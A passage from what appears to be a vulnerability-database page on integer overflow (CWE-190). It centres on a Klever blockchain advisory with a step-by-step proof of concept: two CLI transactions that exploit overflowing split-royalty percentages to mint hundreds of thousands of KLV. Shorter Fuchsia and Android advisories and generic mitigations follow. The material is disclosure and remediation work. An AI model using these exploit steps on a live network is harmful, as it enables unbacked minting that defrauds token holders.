= 0x1_0000_0000` \u2192 **wraps to `0`** in `uint32` \u2192 `CheckValid100Params(0)` is true.\n\n### 3. Payout over-pays and silently drops the negative remainder (mint), in KLV\n`core/kapp/accounts/accounts.go` \u2014 `processFixedRoyaltiesTransfer` (L316-382):\n```go\nerr := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty\n// ...\nroyaltiesFixedToPay := kda.Royalties.TransferFixed\nfor key, value := range kda.Royalties.SplitRoyalties {\n\t// L343: split paid in KLV using the overflowed PercentTransferFixed\n\tstatus, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,\n\t\tacntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), \u0026royaltiesFixedToPay)\n\t// ...\n}\nif royaltiesFixedToPay \u003c= 0 {   // L349: negative remainder silently dropped (no error)\n\treturn transaction.Transaction_Ok, nil\n}\n```\n`computeSplitRoyalties` (L276-314):\n```go\nsplitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287\n*royaltiesToPay -= splitToPay                                                                              // L291\nerr = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit\n```\n`tools/converters.go` \u2014 `ComputePercentageI64` (L102): for a small `pool`, `pool * 0x80000000 / 10000`\nfits in `int64`, so **no overflow error fires** \u2014 it simply returns the inflated amount.\n\n**Net:** sender debited `TransferFixed` KLV (e.g. 1 KLV); each split recipient credited\n`TransferFixed \u00d7 0x80000000 / 10000` KLV. KLV minted = (sum of split credits) \u2212 `TransferFixed`.\n\nThe same pattern exists in `core/kapp/market/market.go` (`computeRoyaltiesAmount` L490+ in the\nsale `currencyID`; `computeRoyaltiesFixedDeposit` L443+ in KLV \u2014 silent skips at L456/L503) and\n`core/kapp/ito/ito.go` (L429/L499). The shipped `FixMarketBuyOverflow` guard only checks the\ntop-level `marketOwnerAmount \u003c 0`, not these intra-royalty split over-payments.\n\n---\n\n## Proof of Concept (reproduce from scratch)\n\nA single-node local network is sufficient. Full environment setup is in the companion runbook\n`REPRODUCE-split-royalty-overflow.md`; the exploit itself is two transactions.\n\n### Prereqs (build + run a single node)\n```bash\nexport REPO=/path/to/klever-go \u0026\u0026 cd \"$REPO\"\ngo build -o /tmp/klnode ./cmd/node\ngo build -o /tmp/kloperator ./cmd/operator\ngo build -o /tmp/klkeygen ./cmd/keygenerator\n# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a\n# funded wallet (klvDenomination 6), then:\nnohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \\\n  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \\\n  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level=\u0027*:INFO\u0027 \\\n  \u003e /tmp/klnode.log 2\u003e\u00261 \u003c /dev/null \u0026 disown\n```\n\n### Step 1 \u2014 create a malicious asset (your own throwaway token)\nThe operator stores percentages as `uint32(input \u00d7 100)`, so `21474836.48 \u2192 2147483648 = 0x80000000`.\nTwo entries make the `uint32` sum wrap to 0.\n```bash\nR1=\u003cany valid klv1 address\u003e   # clean recipient, will receive minted KLV\nR2=\u003cany valid klv1 address\u003e   # second recipient\n/tmp/kloperator kda create 0 \\\n  --name=\"KlvPrinter\" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \\\n  --royaltiesAddress=\u003cowner\u003e \\\n  --royaltiesTransferFixed=1 \\\n  --splitRoyalties=\"{\\\"address\\\":\\\"$R1\\\",\\\"percentTransferFixed\\\":21474836.48}\" \\\n  --splitRoyalties=\"{\\\"address\\\":\\\"$R2\\\",\\\"percentTransferFixed\\\":21474836.48}\" \\\n  -s --await\n```\n**Expected:** `resultCode: Ok`. The node stores `percentTransferFixed: 2147483648` for both\nrecipients (a correct chain would reject this).\n\n### Step 2 \u2014 mint KLV with one ordinary transfer\n```bash\n/tmp/kloperator account send \"$R2\" 1 --kda KPRT2-\u003cid\u003e -s --await\n```\n**Expected:** `resultCode: Ok`, with two **KLV** transfer receipts of `214748364800`\n(= 214,748.36 KLV) to R1 and R2 \u2014 for a `TransferFixed` royalty of `1000000` (1 KLV).\n\n### Verify the mint\n```bash\n# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:\ncurl -s \"http://127.0.0.1:8080/address/$R1\" | python3 -c \\\n \"import sys,json;print(json.load(sys.stdin)[\u0027data\u0027][\u0027account\u0027][\u0027Balance\u0027]/1e6,\u0027KLV\u0027)\"\n```\n\n---\n\n## Evidence (live single-node run, chainID 420420)\n\n### Asset creation \u2014 overflowed split royalties **accepted** (`resultCode: Ok`)\ntx `1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb`, broadcast contract\n(operator output, abridged):\n```json\n{\n  \"type\": 0, \"name\": \"KlvPrinter2\", \"ticker\": \"KPRT2\",\n  \"ownerAddress\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n  \"initialSupply\": 1000000000000,\n  \"royalties\": {\n    \"address\": \"klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq\",\n    \"transferFixed\": 1000000,\n    \"splitRoyalties\": {\n      \"klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap\": { \"percentTransferFixed\": 2147483648 },\n      \"klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5\": { \"percentTransferFixed\": 2147483648 }\n    }\n  }\n}\n```\nResult: `hash: 1e288135\u2026`, `status: success`, `resultCode: Ok`.\n(`2147483648 = 0x80000000`; the two values\u0027 `uint32` sum is `0` \u2192 passed `CheckValid100Params`.)\n\n### Transfer \u2014 mints KLV (`resultCode: Ok`)\ntx `4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6`, block `375`,\n`status: success`, `resultCode: Ok`. Receipts (operator output):\n```json\n{\"typeString\": \"SignedBy\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn\u2026(owner)\", \"to\": \"klv1fpwjz\u2026(R1)\", \"value\": 214748364800, \"assetId\": \"KLV\",        \"assetType\": \"Fungible\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn\u2026(owner)\", \"to\": \"klv17e8zz\u2026(R2)\", \"value\": 214748364800, \"assetId\": \"KLV\",        \"assetType\": \"Fungible\"}\n{\"typeString\": \"Transfer\", \"from\": \"klv1ddnn\u2026(owner)\", \"to\": \"klv17e8zz\u2026(R2)\", \"value\": 1000000,       \"assetId\": \"KPRT2-2712\", \"assetType\": \"Fungible\"}\n```\n\n**Outcome:** the sender paid `1000000` (1 KLV) of fixed royalty; the two split recipients were\neach credited `214748364800` (**214,748.36 KLV**) \u2014 **429,496.73 KLV minted** from a 1 KLV royalty,\nin a single transfer. `R1` went from a non-existent/0-KLV account to **214,748.36 KLV** while never\nbeing sent any KLV. The minted amount is `pool(=1000000) \u00d7 0x80000000 / 10000 = 214748364800` per\nrecipient.\n\nA prior run reproduced the same on the *transfer-percentage* path, minting the asset itself\n(42,949,672.96 tokens from one transfer); note that the asset\u0027s booked `CirculatingSupply` /\n`MintedValue` **do not change** (the mint is via direct `AddToBalance`, not a tracked `Mint`), so\nthe inflation is invisible to supply dashboards and only detectable by summing balances.\n\n---\n\n## Impact\n\n- **Unbounded inflation of KLV (the native token)**, repeatable per transaction for only tx fees.\n- Same root cause also mints KLV via **marketplace buy** (sale currency + KLV `MarketFixed`\n  deposit) and **ITO buy**, and mints arbitrary assets via the transfer-percentage path.\n- The mint is **off the books** (booked supply unchanged), making detection hard.\n- Total loss of economic integrity for all token/KLV holders.\n\n## Who can exploit it / prerequisites\n\n- **Any account** that can pay the one-time asset-creation fee + tx fees. No roles, admin, or\n  allowlist.\n- **Any client.** The `operator` CLI used above is unprivileged: it signs a standard transaction\n  and POSTs to the public, unauthenticated `/transaction/send` endpoint\n  (`network/api/transaction/routes.go`, `SendTX`/`BroadcastTX` \u2014 no auth). The official SDKs or a\n  hand-signed `curl` produce identical results; nothing in the operator is required.\n- Deterministic, single-transaction trigger after a one-time asset setup.\n\n---\n\n## Remediation\n\nTwo layers, both should ship. Because these change transaction-validity/consensus behavior, gate\nthem behind a new activation-epoch fork flag (same mechanism as the existing `FixMarketBuyOverflow`),\nso historical blocks reprocess identically.\n\n### A. Reject over-100% split percentages at validation (root cause)\n1. Bound **each individual** split field, e.g. in `decodeSplitInfo`\n   (`core/kapp/builtInFunctions/utils.go`):\n   ```go\n   for _, field := range fields {\n       if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err }\n       if *field \u003e core.HundredPercent { return process.ErrInvalidRoyalties } // NEW\n   }\n   ```\n2. Accumulate sums in `uint64` (overflow-proof) in `core/kapp/kda/create.go` and\n   `core/kapp/kda/trigger.go`, and reject if any per-category sum `\u003e core.HundredPercent`.\n   (With each entry \u2264 10000 and the existing `MaxTransferRoyalties = 20` cap, the max sum is\n   200000 \u2014 but use `uint64` regardless for defense in depth.)\n\n### B. Treat a negative royalty remainder as a hard error (defense in depth)\nIn every split-distribution site, replace the silent skip with a rejection:\n```go\n// BEFORE\nif royaltiesToPay \u003c= 0 { return transaction.Transaction_Ok, nil }\n// AFTER\nif royaltiesToPay \u003c 0  { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }\nif royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }\n```\nSites: `core/kapp/accounts/accounts.go` (L349 fixed, L436 percentage),\n`core/kapp/market/market.go` (L456, L503), `core/kapp/ito/ito.go` (L429, L499).\n\n### C. (Optional) Assert conservation\nAfter distributing a royalty pool, assert `\u03a3 splitToPay == pool` (the owner gets the exact\nremainder), so any future regression aborts the tx instead of minting.\n\nA regression test should: (1) confirm an asset whose split percentages sum-overflow `uint32` is\nrejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in)\ncannot pay out more than the royalty pool.\n\n---\n\n## Variants / notes\n\n- **Transfer (percentage)** \u2192 mints the transferred asset. **Transfer (fixed)**, **Market**\n  (fixed + percentage), **ITO** (fixed + percentage) \u2192 mint **KLV** / the sale currency.\n- Smart-contract *senders* skip royalties, but a contract can *plant* the malicious royalties via\n  `AssetTrigger/UpdateRoyalties` and let a normal account trigger the mint \u2014 atomically within one tx.\n- The legacy `ComputePercentageI64` float path (`checkOverflow=false`) makes the over-pay even\n  easier (no `int64` overflow guard at all), but the `big.Int` path mints too for small pools.\n\n## References\n\n- Vulnerable code: `core/process/kda/assetHelper.go:101`,\n  `core/kapp/builtInFunctions/utils.go:292`, `core/kapp/kda/create.go:228-264,351-382`,\n  `core/kapp/kda/trigger.go`, `core/kapp/accounts/accounts.go:276-382`,\n  `core/kapp/market/market.go:443-538`, `core/kapp/ito/ito.go:415-556`,\n  `tools/converters.go:102`.",
  "id": "GHSA-cgc5-v3f2-8m2v",
  "modified": "2026-08-28T16:25:48Z",
  "published": "2026-08-28T16:25:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/security/advisories/GHSA-cgc5-v3f2-8m2v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/commit/8bcc600b0ac88070740c63c7ce1c8a968dd85251"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/klever-io/klever-go"
    },
    {
      "type": "WEB",
      "url": "https://github.com/klever-io/klever-go/releases/tag/v1.7.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)"
}

GHSA-CGFP-G9XR-GJ33

Vulnerability from github – Published: 2022-05-04 00:00 – Updated: 2024-04-03 23:53
VLAI
Details

The Security Team discovered an integer overflow bug that allows an attacker with code execution to issue memory cache invalidation operations on pages that they don’t own, allowing them to control kernel memory from userspace. We recommend upgrading to kernel version 4.1 or beyond.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-22556"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-03T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "The Security Team discovered an integer overflow bug that allows an attacker with code execution to issue memory cache invalidation operations on pages that they don\u2019t own, allowing them to control kernel memory from userspace. We recommend upgrading to kernel version 4.1 or beyond.",
  "id": "GHSA-cgfp-g9xr-gj33",
  "modified": "2024-04-03T23:53:27Z",
  "published": "2022-05-04T00:00:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22556"
    },
    {
      "type": "WEB",
      "url": "https://fuchsia-review.googlesource.com/c/fuchsia/+/570881"
    },
    {
      "type": "WEB",
      "url": "https://fuchsia.dev/whats-new/release-notes/f4-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CGRH-3H37-JR5X

Vulnerability from github – Published: 2022-05-13 01:40 – Updated: 2022-05-13 01:40
VLAI
Details

A remote code execution vulnerability in the Android system (libutils). Product: Android. Versions: 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-37723026.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-0841"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-16T23:29:00Z",
    "severity": "HIGH"
  },
  "details": "A remote code execution vulnerability in the Android system (libutils). Product: Android. Versions: 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-37723026.",
  "id": "GHSA-cgrh-3h37-jr5x",
  "modified": "2022-05-13T01:40:49Z",
  "published": "2022-05-13T01:40:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0841"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2017-11-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/101718"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • If possible, choose a language or compiler that performs automatic bounds checking.
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.
  • Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
Mitigation MIT-8
Implementation

Strategy: Input Validation

  • Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.
  • Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
Mitigation MIT-36
Implementation
  • Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]
  • Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-26
Implementation

Strategy: Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

CAPEC-92: Forced Integer Overflow

This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.

← Back to the CWE list